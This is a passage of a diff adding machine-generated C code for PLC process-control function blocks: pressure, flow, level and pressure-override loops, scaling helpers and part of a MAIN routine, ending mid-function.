+ __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + 